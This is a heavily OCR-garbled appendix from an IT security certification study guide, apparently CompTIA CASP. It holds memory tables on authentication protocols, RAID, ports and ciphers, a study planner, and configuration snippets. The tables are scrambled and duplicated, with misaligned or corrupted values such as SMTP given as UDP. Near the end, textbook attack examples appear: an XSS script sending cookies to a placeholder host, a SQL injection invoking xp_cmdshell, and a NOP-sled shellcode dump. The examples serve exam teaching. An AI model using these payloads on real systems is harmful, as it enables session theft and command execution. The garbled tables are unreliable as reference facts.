Characteristic RADIUS TACACS+ 


Uses UDP, which 
may result in faster 
response 


Confidentiality Encrypts the entire body of the packet 
but leaves a standard TACACS+ 
header for troubleshooting 


Authentication Combines 
and authentication and 
authorization authorization 


Does not support 
any of the 
following: 


= AppleTalk 
Remote 
Access 
(ARA) 
protocol 

=» NetBIOS 
Frame 
Protocol 
Control 
protocol 

» X.25 PAD 
connections 


Devices Supports securing the available 
commands on routers and switches 


Traffic Creates less traffic Creates more traffic 
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Table 5-14 Placement of Proxies 


Type Placement 
At the network edge 
Application-level proxy 


Kernel proxy firewall 


Table 5-15 Typical Placement of Firewall Types 


Type Placement 


Located between subnets, which must be secured 


Circuit-level proxy 


Kernel proxy firewall Close to the systems it is protecting 


Table 5-17 RAID Types 


RAID Minimum Description Strengths Weaknesses 
Level Number 
of Drives 
2 Data No data 
striping protection; if 
without one drive 
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RAID 2 


RAID 3 


RAID 


redundancy 


Byte-level 
data 
striping 
with a 
dedicated 
parity drive 


Disk 
striping 
with 
mirroring 


Very high performance; very 
high data protection; very 
minimal penalty on write 
performance 


Excellent performance for 


large, sequential data requests 


Best cost/performance for 
transaction-oriented 
networks; very high 
performance and very high 
data protection; supports 
multiple simultaneous reads 
and writes; can also be 
optimized for large, 
sequential requests 


High data protection, which 


fails, all data 
is lost 


High 
redundancy 
cost 
overhead; 
because all 
data is 
duplicated, 
twice the 
storage 
Capacity is 
required 


Write 
performance 
is slower than 
with RAID 0 
or RAID 1 


High 


increases each time you add a redundancy 


new striped/mirror set 
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cost 
overhead; 
because all 
data is 


duplicated, 


twice the 
storage 
Capacity is 
required 
Table 5-19 Attacks and Mitigations 
Attack Clues Mitigation Typical 
Type Sources 


Multiple unsuccessful Alert sent and/or disabling after 


logon attempts 3 failed attempts 
Firewall Alert sent on 15 or more of 
attacks these events from a single IP 


address in a minute 


IPS/IDS Multiple 

attacks drop/reject/deny events 
from the same IP 
address 


Table 5-20 Common TCP/UDP Port Numbers 


Application Protocol Transport Protocol Port Number 
TCP 23 

SMTP 25 

HTTP TCP 80 
TCP and UDP 


1094 


FTP 


FTPS 


SFTP 


POP3 


DNS 


DHCP 


LDAP 


NetBIOS 


NFSv4 


SIP 


IRC 


rlogin 


TCP 


TCP 


UDP 


TCP and UDP 


TCP 


TCP and UDP 


TCP and UDP 


TCP 


TCP 


TCP and UDP 


TCP 


TCP and UDP 


TCP and UDP 


TCP 
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20 and 21 


989 and 990 


22 


69 


53 


67 and 68 


22 


389 


445 


2049 


5060 


5222 


194 


513 


rsh and RCP TCP 


HTTPS TCP and UDP 
RDP 

AFP over TCP TCP 
Chapter 6 


Table 6-1 Protection Profiles 


Product 


Biometric systems and devices 


Boundary protection devices and systems 


Data protection 


ICs, smart cards, and smart card—related devices 


and systems 
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514 


143 


443 


548 


Number of Protection 
Profiles 


Key management systems 4 


4 
2 
Network and network-related devices and 
systems 
Operating systems 2 
Other devices and systems 
Products for digital signatures 19 
6 
Table 6-2 Windows Audit Policies 
Audit Event Potential 
Threat 
Success and failure audit for file-access printers and object- 
access events or print management success and failure audit of 
print access by suspect users or groups for the printers 
Failure audit for logon/logoff 
Success audit for user rights, user and group management, Misuse 
security change policies, restart, shutdown, and system events of 
privileges 
Stolen 
password 
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break-in 


Success and failure write access auditing for program files Virus 
(.EXE and .DLL extensions) or success and failure auditing for outbreak 
process tracking 


Success and failure audit for file-access and object-access events 
or File Explorer success and failure audit of read/write access by 
suspect users or groups for the sensitive files 


Table 6-3 Common UNIX/Linux-Based Shells 


Shell Name Command Description 


tcsh Similar to the C shell 
Bourne The most basic shell available on all UNIX 
shell systems 

csh 
Korn shell Based on the Bourne shell, with enhancements 


Bash shell bash 


Table 6-4 WPA and WPA2 


Variant Access Control Encryption Integrity 


Preshared key TKIP 


WPA Enterprise 802.1X (RADIUS) 
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WPA2 Personal CCMP 


802.1X (RADIUS) CCMP 
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Table 9-1 Runtime Debugging Tools 


Tool Operating Systems Languages 
Linux, Mac C, C# 


Windows (Visual C, C# 
Studio) 


Windows .Net, C, C##, Java, JavaScript, Lua, Python, 
Ruby 


Table 9-2 DNS Record Types 


Record Function 
Type 


A host record that represents the mapping of a single device to an 
IPv4 address 


A host record that represents the mapping of a single device to an 
IPv6 address 


An alias record that represents an additional hostname mapped to 
an IPv4 address that already has an A record mapped 
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A name server record that represents a DNS server mapped to an 
IPv4 address 


A mail exchanger record that represents an email server mapped 
to an IPv4 address 


A Start of Authority record that represents a DNS server that is 
authoritative for a DNS namespace 


Table 9-3 Testing Methods 


Internal workings of Internal workings of the Internal workings of 
the application are application are somewhat the application are 
not known. known. fully known. 

Also called closed- Also called translucent Also known as clear- 
box, data-driven, and testing, as the tester has box, structural, or 
functional testing. partial knowledge. code-based testing. 
Performed by end Performed by end users, Performed by testers 
users, testers, and testers, and developers. and developers. 
developers. 

Least time- More time-consuming than Most exhaustive and 
consuming. black-box testing but less so time-consuming. 


than white-box testing. 


Table 9-4 SOC Report Comparison 


Report What It Reports On Who Uses It 


1100 


Type 


Internal controls over financial User auditors and users’ controller 


reporting office 

Security, availability, Management, regulators, and 
processing integrity, others; shared under non- 
confidentiality, or privacy disclosure agreement (NDA) 
controls 

Security, availability, Publicly available to anyone 


processing integrity, 
confidentiality, or privacy 
controls 
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Table 10-1 netstat Parameters 


Parameter Description 
Displays all connections and listening ports. 
Displays Ethernet statistics. 


Displays addresses and port numbers in numeric form instead 
of using friendly names. 


Displays statistics categorized by protocol. 


Shows connections for the specified protocol, either TCP or 
UDP. 
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Displays the contents of the routing table. 


Table 10-2 Sysinternals Security Utilities 


Tool Use 
AccessChk 


Displays who has what access to directories, files, and 
Registry keys on your systems. 


Autoruns 
Lists active logon sessions. 
PsLoggedOn 


Overwrites sensitive files and cleanses free space of 
previously deleted files using this DoD-compliant secure 
delete program. 


ShareEnum 
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Table 15-1 Symmetric Algorithm Key Facts 


Algorithm Block or Stream Key Size Number of Block Size 


Name Cipher? Rounds 
DES Block 16 64 bits 
3DES Block 48 
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AES 


IDEA 


Blowfish 


Twofish 


RC4 


RCS 


RC6 


Table 15-2 Forms of Encryption 


Type 


Disk 


File and 
record 


Port 


Block 


Block 
Block 
Block 


Block 


Block 


ScopeKey Usage Performance 


Single key 
per drive 


Single key 
per file 


128, 192, or 128 bits 
256 bits 

8 64 bits 
80 bits 32 64 bits 
32 to 448 bits 

16 128 bits 

Up to 256 N/A 
Up to 2,048 32, 64, or 
bits 128 bits 
Up to 2,048 Up to 255 
bits 

Limitations 


Impact 


Slows the boot and 
logon process 


No encryption while 
data is in transit 


Slows network 
performance 
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Appendix C. Memory Table Answers 


Chapter 3 


Table 3-1 Confidentiality, Integrity, and Availability Potential Impact Definitions 


CIA Tenet Low Moderate High 

Confidentiality Unauthorized Unauthorized Unauthorized 
disclosure will disclosure will disclosure will 
have limited have serious have severe 


adverse effect on adverse effect on adverse effect on 
the organization. the organization. the organization. 


Integrity Unauthorized Unauthorized Unauthorized 
modification will modification will modification will 
have limited have serious have severe 


adverse effect on adverse effect on adverse effect on 
the organization. the organization. the organization. 


Availability | Unavailability will Unavailability will Unavailability will 
have limited have serious have severe 
adverse effecton adverse effecton adverse effect on 
the organization. the organization. the organization. 
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Table 5-12 Authentication Protocols 


Protocol Advantages Disadvantages | Guidelines/Notes 
PAP Simplicity Password sent in Do not use 
cleartext 
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CHAP 


MS- 
CHAP 
v1 


MS- 
CHAP 
v2 


EAP- 
MD5 
CHAP 


EAP- 


TLS 


EAP- 
TTLS 


No passwords are Susceptible to 
exchanged dictionary and 


brute-force attack 
Widely supported standard atacs 


No passwords are Susceptible to 
exchanged dictionary and 


brute-force attacks 
Stronger password storage 


than CHAP Supported only on 
Microsoft devices 


No passwords are Susceptible to 
exchanged dictionary and 


brute-force attacks 
Stronger password storage 


than CHAP Supported only on 


foe Microsoft devices 
Mutual authentication 


Not supported on 
some legacy 
Microsoft clients 


Supports password-based Susceptible to 
authentication dictionary and 


brute-force attacks 
Widely supported standard 


The most secure form of Requires a PKI 
EAP; uses certificates on 


the server and client More complex to 


configure 
Widely supported standard 


As secure as EAP-TLS Susceptible to 


us dictionary and 
Only requires a certificate | te-force attacks 


on the server 
More complex to 


Allows passwords on the configure 
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Ensure complex 
passwords 


Ensure complex 
passwords 


If possible, use 
MS-CHAP v2 
instead 


Ensure complex 
passwords 


Ensure complex 
passwords 


No known issues 


Ensure complex 
passwords 


client 


Table 5-13 RADIUS and TACACS+ 


Characteristic RADIUS TACACS+ 


Transport Uses UDP, which may Uses TCP, which offers more 


protocol result in faster response information for troubleshooting 
Confidentiality Encrypts only the Encrypts the entire body of the 
password in the access- packet but leaves a standard 
request packet TACACS+ header for 
troubleshooting 


Authentication Combines authentication Separates authentication, 
and and authorization authorization, and accounting 
authorization processes 


Supported Does not support any of Supports all protocols 


layer 3 the following: 
protocols 
=» AppleTalk Remote 
Access (ARA) 
protocol 


= NetBIOS Frame 
Protocol Control 
protocol 


a X.25 PAD 
connections 


Devices Does not support Supports securing the available 
securing the available commands on routers and 
commands on routers switches 
and switches 


Traffic Creates less traffic Creates more traffic 
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Table 5-14 Placement of Proxies 


Type Placement 
Circuit-level proxy At the network edge 
Application-level proxy Close to the application server it is protecting 


Kernel proxy firewall Close to the systems it is protecting 


Table 5-15 Typical Placement of Firewall Types 


Type Placement 

Packet-filtering firewall Located between subnets, which must be secured 
Circuit-level proxy At the network edge 

Application-level proxy Close to the application server it is protecting 


Kernel proxy firewall Close to the systems it is protecting 


Table 5-17 RAID Types 


RAID Minimum Description Strengths Weaknesses 
Level Number 

of Drives 
RAID 2 Data Highest performance No data 
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RAID 2 


RAID 3 


RAID 3 


RAID 4 
10 


striping 
without 
redundancy 


Disk 
mirroring 


Byte-level 
data 
striping 
with a 
dedicated 
parity drive 


Very high performance; 
very high data protection; 


protection; if one 
drive fails, all 
data is lost 


High redundancy 
cost overhead; 


very minimal penalty on because all data is 


write performance 


Excellent performance 
for large, sequential data 


requests 


duplicated, twice 
the storage 
Capacity is 
required 


Not well suited 
for transaction- 
oriented network 
applications; the 
single parity drive 
does not support 
multiple, 
simultaneous read 
and write requests 


Block-level Best cost/performance for Write 


data 
striping 
with 
distributed 
parity 


Disk 
striping 
with 
mirroring 


transaction-oriented 
networks; very high 
performance and very 
high data protection; 


supports multiple 


simultaneous reads and 


writes; can also be 


optimized for large, 


sequential requests 


High data protection, 
which increases each 
time you add a new 


striped/mirror set 
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performance is 
slower than with 
RAID 0 or RAID 
1 


High redundancy 
cost overhead; 
because all data is 
duplicated, twice 
the storage 


Capacity is 


required 
Table 5-19 Attacks and Mitigations 
Attack Type Clues Mitigation Typical 
Sources 
Authentication Multiple Alert sent and/or Active 
attacks unsuccessful logon disabling after 3 failed Directory 
attempts attempts 
Syslog 
RADIUS 
TACACS+ 
Firewall Multiple Alert sent on 15 or more Firewall 
attacks drop/reject/deny of these events from a 
events from the same single IP address in a Routers 
IP address minute Switches 
IPS/IDS Multiple Alert sent on 7 or more of IPS 
attacks drop/reject/deny these events from a single 
events from the same IP address in a minute IDS 
IP address 
Table 5-20 Common TCP/UDP Port Numbers 
Application Protocol Transport Protocol Port Number 
Telnet TCP 23 
SMTP UDP 25 
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HTTP 


SNMP 


FTP 


FTPS 


SFTP 


TFTP 


POP3 


DNS 


DHCP 


SSH 


LDAP 


NetBIOS 


CIFS/SMB 


NFSv4 


SIP 


XMPP 


IRC 


TCP 


TCP and UDP 


TCP and UDP 


TCP 


TCP 


UDP 


TCP and UDP 


TCP and UDP 


UDP 


TCP 


TCP and UDP 


TCP and UDP 


TCP 


TCP 


TCP and UDP 


TCP 


TCP and UDP 


1110 


80 


161 and 162 


20 and 21 


989 and 990 


22 


69 


110 


53 


67 and 68 


22 


389 


137, 138, and 139 


445 


2049 


5060 


5222 


194 


RADIUS 
rlogin 

rsh and RCP 
IMAP 
HTTPS 
RDP 


AFP over TCP 
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Table 6-1 Protection Profiles 


Product 


TCP and UDP 


TCP 


TCP 


TCP 


TCP and UDP 


TCP and UDP 


TCP 


Access control devices and systems 


Biometric systems and devices 


Boundary protection devices and systems 


Data protection 


Databases 


1812 and 1813 


513 


514 


143 


443 


3389 


548 


Number of Protection 
Profiles 


ICs, smart cards, and smart card—related devices 70 


and systems 
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Key management systems 


Mobility 


Multi-function devices 


Network and network-related devices and 
systems 


Operating systems 


Other devices and systems 


Products for digital signatures 


Trusted computing 


Table 6-2 Windows Audit Policies 


Audit Event 


12 


48 


19 


Success and failure audit for file-access printers and object- 
access events or print management success and failure audit of access to 
print access by suspect users or groups for the printers 


Failure audit for logon/logoff 


Success audit for user rights, user and group management, 
security change policies, restart, shutdown, and system events privileges 
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Potential 
Threat 


Improper 


printers 


Random 
password 
hack 


Misuse of 


Success audit for logon/logoff Stolen 
password 
break-in 


Success and failure write access auditing for program files Virus 
(.EXE and .DLL extensions) or success and failure auditing outbreak 
for process tracking 


Success and failure audit for file-access and object-access Improper 

events or File Explorer success and failure audit of read/write access to 

access by suspect users or groups for the sensitive files sensitive 
files 


Table 6-3 Common UNIX/Linux-Based Shells 


Shell Command Description 











Name 

tcsh tcsh Similar to the C shell 

Bourne sh The most basic shell available on all UNIX systems 
shell 

C shell csh Similar to the C programming language in syntax 





Korn ksh/pdksh Based on the Bourne shell, with enhancements 
shell 





Bash bash Combines the advantages of the Korn shell and the C 
shell shell; the default on most Linux distributions 


Table 6-4 WPA and WPA2 
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Variant Access Control Encryption Integrity 
WPA Personal Preshared key TKIP Michael 
WPA Enterprise 802.1X (RADIUS) TKIP Michael 
WPA2 Personal Preshared key CCMP, AES CCMP 
WPA2 Enterprise 802.1X (RADIUS) CCMP, AES CCMP 
Chapter 9 
Table 9-1 Runtime Debugging Tools 
Tool Operating Languages 

Systems 
AddressSanitizer Linux, Mac C, C# 
Deleaker Windows (Visual C, C# 

Studio) 
Software Verify Windows .Net, C, C##, Java, JavaScript, Lua, 

Python, Ruby 

Table 9-2 DNS Record Types 
Record Function 
Type 
A A host record that represents the mapping of a single device to an 


IPv4 address 
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AAAA A host record that represents the mapping of a single device to an 
IPv6 address 


CNAME An alias record that represents an additional hostname mapped to 
an IPv4 address that already has an A record mapped 


NS A name server record that represents a DNS server mapped to an 
IPv4 address 
MX A mail exchanger record that represents an email server mapped 


to an IPv4 address 


SOA A Start of Authority record that represents a DNS server that is 
authoritative for a DNS namespace 


Table 9-3 Testing Methods 


Black Box Gray Box White Box 

Internal workings of Internal workings of the Internal workings of 
the application are application are somewhat the application are 
not known. known. fully known. 

Also called closed- Also called translucent Also known as clear- 
box, data-driven, and testing, as the tester has box, structural, or 
functional testing. partial knowledge. code-based testing. 
Performed by end Performed by end users, Performed by testers 
users, testers, and testers, and developers. and developers. 
developers. 

Least time- More time-consuming than Most exhaustive and 
consuming. black-box testing but less so time-consuming. 


than white-box testing. 
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Table 9-4 SOC Report Comparison 


Report What It Reports On Who Uses It 
Type 


SOC 1 Internal controls over financial User auditors and users’ controller 


reporting office 

SOC 2 Security, availability, Management, regulators, and 
processing integrity, others; shared under non- 
confidentiality, or privacy disclosure agreement (NDA) 
controls 

SOC 3 Security, availability, Publicly available to anyone 


processing integrity, 
confidentiality, or privacy 
controls 
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Table 10-1 netstat Parameters 


Parameter Description 

-a Displays all connections and listening ports. 

-e Displays Ethernet statistics. 

-n Displays addresses and port numbers in numeric form instead 


of using friendly names. 


-S Displays statistics categorized by protocol. 
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-p protocol Shows connections for the specified protocol, either TCP or 
UDP. 


-r Displays the contents of the routing table. 


Table 10-2 Sysinternals Security Utilities 


Tool 


AccessChk 


AccessEnum 


Autoruns 


Use 


Displays the access the user or group you specify has to 
files, Registry keys, or Windows services. 


Displays who has what access to directories, files, and 
Registry keys on your systems. 


Displays programs that start up automatically when your 
system boots and you log in. 


LogonSessions Lists active logon sessions. 


PsLoggedOn 


SDelete 


ShareEnum 
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Shows users logged on to a system. 


Overwrites sensitive files and cleanses free space of 
previously deleted files using this DoD-compliant secure 
delete program. 


Scans file shares on your network so you can view their 
security settings and close security holes. 


Table 15-1 Symmetric Algorithm Key Facts 
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Algorithm Block or 


Name 


DES 


3DES 


AES 


IDEA 


Skipjack 


Blowfish 


Twofish 


RC4 


RCS 


RC6 


Stream 
Cipher? 


Block 


Block 


Block 


Block 


Block 


Block 


Block 


Stream 


Block 


Block 


Key Size Number of Rounds 
64 bits 16 

(effective length 

56 bits) 


56, 112, or 168 48 
bits 


128, 192, or 256 10, 12, or 14 


bits (depending on 
block/key size) 

128 bits 8 

80 bits 32 


32 to 448 bits 16 


128, 192, or 25616 
bits 


40 to 2,048 bits Up to 256 


Up to 2,048 bits Up to 255 


Up to 2,048 bits Up to 255 


Table 15-2 Forms of Encryption 
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Block 
Size 


64 bits 


64 bits 


128 bits 


64 bits 


64 bits 


64 bits 


128 bits 


N/A 


32, 64, or 
128 bits 


32, 64, or 
128 bits 


Type 


Disk 


File 
and 
record 


Port 


Scope 


Encrypts an entire 
volume or an entire 
disk 


Encrypts a single 
file 


Encrypts data in 
transit 


Key Performance 
Usage Impact 


Single Slows the boot 
key per and logon 
drive process 


Single Slows opening 
key per ofa file 
file 


Single Slows network 
key per performance 
packet 
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Limitations 


No encryption 
while data is in 
transit 


No encryption 
while data is in 
transit 


No encryption 
while data is at 
rest 


Appendix D. Study Planner 


Goal | First Date |Second 

Date | Completed | Date 
Completed 
(Optional) 


Introduction Read 
Introduction 


1. Business and 
Industry 
Influences and 
Associated 
Security Risks 


1. Business and 
Industry 
Influences and 
Associated 
Security Risks 


1. Business and 
Industry 
Influences and 
Associated 
Security Risks 


1. Business and 
Industry 
Influences and 
Associated 
Security Risks 


Practice Test 


ia 


Review Key 
Topics 





Take practice 
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test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 1 in 
practice test 


software 
2. Security, Read Chapter 
Privacy Policies, 
and Procedures 
2. Security, Review Key 







Privacy Policies, |Topics 
and Procedures 


2. Security, 
Privacy Policies, 
and Procedures 


2. Security, 
Privacy Policies, 
and Procedures 


Practice Test Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 2 in 
practice test 
software 


3. Risk Mitigation | Read Chapter 
Strategies and 

Controls 

3. Risk Mitigation | Review Key 
Strategies and Topics 
Controls 






3. Risk Mitigation | Define Key 
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Strategies and 
Controls 


3. Risk Mitigation 
Strategies and 
Controls 


3. Risk Mitigation 
Strategies and 
Controls 


Practice Test 


4. Risk Metrics 
for Securing the 
Enterprise 


4. Risk Metrics 
for Securing the 
Enterprise 


4. Risk Metrics 
for Securing the 
Enterprise 


4. Risk Metrics 
for Securing the 
Enterprise 


Practice Test 


Terms 







Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 3 in 
practice test 
software 


Read Chapter a 


Review Key 
Topics 


Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
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5. Network and 
Security 
Components, 
Concepts, and 
Architectures 


5. Network and 
Security 
Components, 
Concepts, and 
Architectures 


5. Network and 
Security 
Components, 
Concepts, and 
Architectures 


5. Network and 
Security 
Components, 
Concepts, and 
Architectures 


5. Network and 
Security 
Components, 
Concepts, and 
Architectures 


Practice Test 


Chapter 4 in 
practice test 
software 


Review Key 
Topics 


Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 5 in 
practice test 
software 
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6. Security Review Key 
Controls for Host |Topics 
Devices 


6. Security 
Controls for Host 
Devices 


6. Security 
Controls for Host 


Devices 


6. Security Answer 

Controls for Host | Chapter 

Devices Review 
Questions 






Practice Test Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 6 in 
practice test 
software 


7. Security Read Chapter 
Controls for 

Mobile and Small 

Form Factor 

Devices 

7. Security Review Key 
Controls for Topics 
Mobile and Small 

Form Factor 

Devices 






7. Security Define Key 
Controls for Terms 
Mobile and Small 

Form Factor 

Devices 
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7. Security Answer 
Controls for Chapter 
Mobile and Small | Review 
Form Factor Questions 
Devices 


Practice Test Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 7 in 
practice test 
software 


8. Software 
Vulnerability 
Security Controls 


8. Software Review Key 


Vulnerability Topics 
Security Controls 


8. Software 
Vulnerability 
Security Controls 


8. Software 
Vulnerability 
Security Controls 


Practice Test Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 8 in 
practice test 
software 





9. Security Read Chapter 
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Assessments 

9. Security Review Key 
Assessments Topics 

9. Security Define Key 
Assessments Terms 


9. Security 
Assessments 


9. Security 
Assessments 


Practice Test Take practice 
test in study 
mode using 
Exam Bank 1 
questions for 
Chapter 9 in 
practice test 


10. Select the Read Chapter 
Appropriate 

Security 

Assessment Tool 

10. Select the Review Key 
Appropriate Topics 
Security 

Assessment Tool 

10. Select the 

Appropriate 

Security 

Assessment Tool 


10. Select the Review 
Appropriate Memory 
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Security 
Assessment Tool 


10. Select the 
Appropriate 
Security 
Assessment Tool 


11. Incident 
Response and 
Recovery 


11. Incident 
Response and 
Recovery 


11. Incident 
Response and 
Recovery 


11. Incident 


Response and 
Recovery 


12. Host, Storage, 
Network, and 
Application 
Integration 


12. Host, Storage, 
Network, and 
Application 
Integration 


12. Host, Storage, 
Network, and 
Application 
Integration 


12. Host, Storage, 
Network, and 
Application 


Tables 


Answer 

Chapter 

Review 

Questions 

Sn fof od. 


Review Key 
Topics 


Review Key 
Topics 





Answer 
Chapter 
Review 
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Integration Questions 


13. Cloud and Read Chapter 
Virtualization 

Technology 

Integration 


13. Cloud and Review Key 
Virtualization Topics 
Technology 

Integration 


13. Cloud and 
Virtualization 
Technology 
Integration 


13. Cloud and 
Virtualization 
Technology 


Integration 


14. Read Chapter 
Authentication 

and Authorization 

Technology 

Integration 


14. Review Key 
Authentication Topics 

and Authorization 

Technology 

Integration 


14. 
Authentication 
and Authorization 
Technology 
Integration 





14. Answer 
Authentication Chapter 
and Authorization | Review 
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Technology Questions 
Integration 


15. Cryptographic | Read Chapter 
Techniques 

15. Cryptographic | Review Key 
Techniques Topics 

15. Cryptographic | Define Key 
Techniques Terms 


15. Cryptographic 
Techniques 


15. Cryptographic 

Techniques 

16. Secure Read Chapter 
Communication 

and Collaboration 


16. Secure 
Communication 
and Collaboration 


16. Secure 
Communication 
and Collaboration 


16. Secure 
Communication 
and Collaboration 


17. Industry Read Chapter 
Trends and Their 

Impact to the 

Enterprise 


17. Industry Review Key 
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Trends and Their 
Impact to the 
Enterprise 


17. Industry 
Trends and Their 
Impact to the 
Enterprise 


17. Industry 
Trends and Their 
Impact to the 
Enterprise 


18. Security 
Activities Across 
the Technology 
Life Cycle 


18. Security 
Activities Across 
the Technology 
Life Cycle 


18. Security 
Activities Across 
the Technology 
Life Cycle 


18. Security 
Activities Across 
the Technology 
Life Cycle 


19. Business 
Units Interaction 


19. Business 
Units Interaction 


19. Business 
Units Interaction 


19. Business 


Answer 
Chapter 
Review 
Questions 


Review Key 
Topics 
Define Key 
Terms 





1130 


Units Interaction | Chapter 
Review 
Questions 


FINAL 
PREPARATION 


Practice Test Take practice 
test in study 
mode for all 
Book 
Questions in 
practice test 


software 


Review Exam 
Essentials for 
each chapter 
on the PDF 
from book 


page 


Review 


Review all 
Key Topics in 
all chapters 


Review 


Review Complete all 
memory 
tables from 


the book page 


Practice Test 


Take practice 
test in 


practice exam 
mode using 
Exam Bank 1 
questions for 
all chapters 





Practice Test Take practice 
test in 
practice exam 
mode using 
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Practice Test 


Practice Test 


Exam Bank 2 
questions for 
all chapters 


Take practice 
test in 
practice exam 
mode using 
Exam Bank 3 
questions for 
all chapters 


Take practice 
test in 
practice exam 
mode using 
Exam Bank 4 
questions for 
all chapters 
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Code Snippets 


Many titles include programming code or configuration examples. To 
optimize the presentation of these elements, view the eBook in single- 
column, landscape mode and adjust the font size to the smallest setting. In 
addition to presenting code and configurations in the reflowable text 
format, we have included images of the code that mimic the presentation 
found in the print book; therefore, where the reflowable format may 
compromise the presentation of the code listing, you will see a “Click here 
to view code image” link. Click the link to view the print-fidelity code 
image. To return to the previous page viewed, click the Back button on 
your device or app. 
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2001:0db8:85a3:0:0:8a2eE:0370: 7334 
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2001:0db8 :85a3: :8a2e:0370:7334 
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2001:0000:0000:85a3 :8aze:0000:0000: 7334 
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Date flow start Duration Proto Sre IP Addr:Port Dst IP Addr:Port 
Packets Bytes Flows 


2010-09-01 00:00:00.459 0.000 UDP 127.0.0.1:24920 -> 192.168.0.1:22126 
1 46 1 


2010-09-01 00:00:00.363 0.000 UDP 192.168.0.1:22126 -> 127.0.0.1:24920 
LS Ord 
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Access-list 101 deny tcp host 192.168.5.1 host 10.6.6.6 eq www 
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alert tcp any any -> 192.168.1.0/24 111 (msg: "<sensitive>"; 
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Switch(config)#interface FastEthernet 0/1 


Switch(config-if)#switchport mode trunk 
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Switch(config)#interface FastEthernet 0/1 


Switch(config-if)#switchport mode access 
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switch(config-if)#switchport trunk native vlan 99 


1142 


switch(config)#interface-range FastEthernet 0/1 - 12 


switch(config-if)#switchport access vlan 61 
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Switch(config)#int fa0/1 


Switch(config-if)#switchport mode access 
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Switch(config-if)#switchport port security 
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Switch(config-if)#switchport port security maximum 2 
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Switch(config-if)#switchport port security mac-address aaaa.aaaa.aaaa 


Switch(config-if)#switchport port security mac-address bbbb.bbbb.bbbb 
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Switch(config-if#) switchport port security violation restrict 
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Switch(config-if)#port security 
Switch(config-if)#port security maximum 2 
Switch(config-if)#port security mac-address sticky 
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A(config)#interface fastEthernet 0/0 

A(config-if)#ip ospf message-digest-key 1 md5 MYPASS 
A(config-if)#ip ospf authentication message-digest 
B(config)#interface fastEthernet 0/0 

B(config-if)#ip ospf message-digest-key 1 md5 MYPASS 
B(config-if)#ip ospf authentication message-digest 
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A(config)#router ospf 1 
A(config-router) #area 0 authentication message-digest 
B(config)#router ospf 1 


B(config-router)#area 0 authentication message-digest 
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iptables -A INPUT -i ethl -s 192.168.0.0/24 -j DROP 
iptables -A INPUT -i ethl -s 10.0.0.0/8 -j DROP 
iptables -A INPUT -i ethl -s 172. -j DROP 
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Switch>enable 

Switch#configure terminal 
Switch(config)#line vty 0 15 
Switch(config-line)#password CiS$co 


Switch(config-line) #login 
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Switch>enable 

Switch#configure terminal 

Switch(config)#interface Loopback0 
Switch(config-if)#ip address 192.168.5.5 255.255.255.0 
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iptables -A INPUT -i ethli -s 192.168.0.0/24 -j DROP 
iptables -A INPUT -i ethl -s 10.0.0.0/8 -j DROP 
iptables -A INPUT -i ethl -s 172. -j DROP 
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<SCRIPT> 

document .location='http://site.comptia/cgi-bin/script.cgi?'+document. 
cookie 

</SCRIPT> 
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GET /inventory/Scripts/ProductList.asp 
showdetails=true&idSuper=0 &browser=pt ¢showprodsé&Type=588 


idCategory=60&idProduct =66 ; CREATE%20TABLE%20 [X_6624] ([id]%20int%20 
NOT%2 0NULL%20 


IDENTITY%20 (1,1) ,%20 [(ResultTxt] $20nvarchar (4000) $20NULL; 


Insert%20into&20[X_6858] (ResultTxt) %20exec%20master.dbo.xp_ 
cmdshel111%20'Dir%20D: \'; 


Insert%20into&20 [X_6858] $20values%20('g over'); 
exec%20master.dbo.sp_ dropextendedeproc%20'xp_cmdshell' 300 
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TCP Connection Request 

---- 14/03/2014 15:40:57.910 

68.144.193.124 : 4560 TCP Connected ID = 1 

---- 14/03/2014 15:40:57.910 

Status Code: 0 OK 

68.144.193.124 : 4560 TCP Data In Length 697 bytes 

MD5 = 19323C2EA6F5FCEE2382690100455C17 

---- 14/03/2004 15:40:57.920 

0000 90 90 90 90 90 90 90 90 90 90 90 90 90 SD 90 90 coi c sree aceeeiewes 
0010 90 90 90 90 90 90 90 :90 790 90 90 90 90 90 90 90 ssnwas cers 
0020:90 90 90 ‘90 90 90 90 90 90 90 90 90 90 90 90 90 eee e eeeseesee 
0030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 JO sswesesssssasiws 
0040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ...... cee ee. 
0050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ..... wee ene 
0060 90.90.90 90 90 90 90 90 90 90 90 90 90 90 90 90 csecsrssssesnsuss 
0070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .......... 1... 
0080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 
0090 90 90 90 90 90 96 90 90 90 90 90 90 90 90 90 90 Josssie eis 
00A0 90 90:90 90 90 90 ‘90 90 90 90 90 90 90 90 90 GO ncecerepaneieyeresercaceece 
0050 :90 90 90 90 90 90 90 90 90 90 90 90 90 90 99 90 sitemeter 
00€0'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 sss ie skeane 
00D0':50' 90 90 90 90 90 90 50 80 90 90 90 S50 SO 99 90 cessenceermmaimavaiperce 
DOE 90 90 90 90 90 190 (90 290 90 90 90 90 90 90 90 90 sass sn 
00FO 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 occ cere ce e-e-e-eee s00 


01090 90:90 90 90 90 90 90 90 90 90 90 90 4D SE E3 77 msessceosmesss M?.w 
0110 90 90 90 90 FF 63 64 90 90 90 90 90 90 90 90 90 ..... cdna 
NL20' 90°90" 20 0 99 90 S0 S0 0 6 SO SO 0 T0 BO eenaa 
0130 90.90 90 90 90 90 90 S90 BB 10 5A. 4A.33 C9 66 BY cseseccews: ZJ3.£. 
0140 66 01 80 34 OA 99 E2 FA EB 05 E8 EB FF FF 70 £..4........... p 

0150 99 98 99 99 C3 21 95 69 64 E6 12 99 12 E9 85 34 sesie lataamassa 4 


1158 


0160 
0170 
0180 
0190 
0140 
01B0 
01C0 
01D0 
01E0 
O1FO 
0200 
0210 
0220 
0230 
0240 
0250 
0260 
0270 
0280 
0290 
02A0 


12 
E7 
12 
70 
50 
9A 
99 
co 
69 
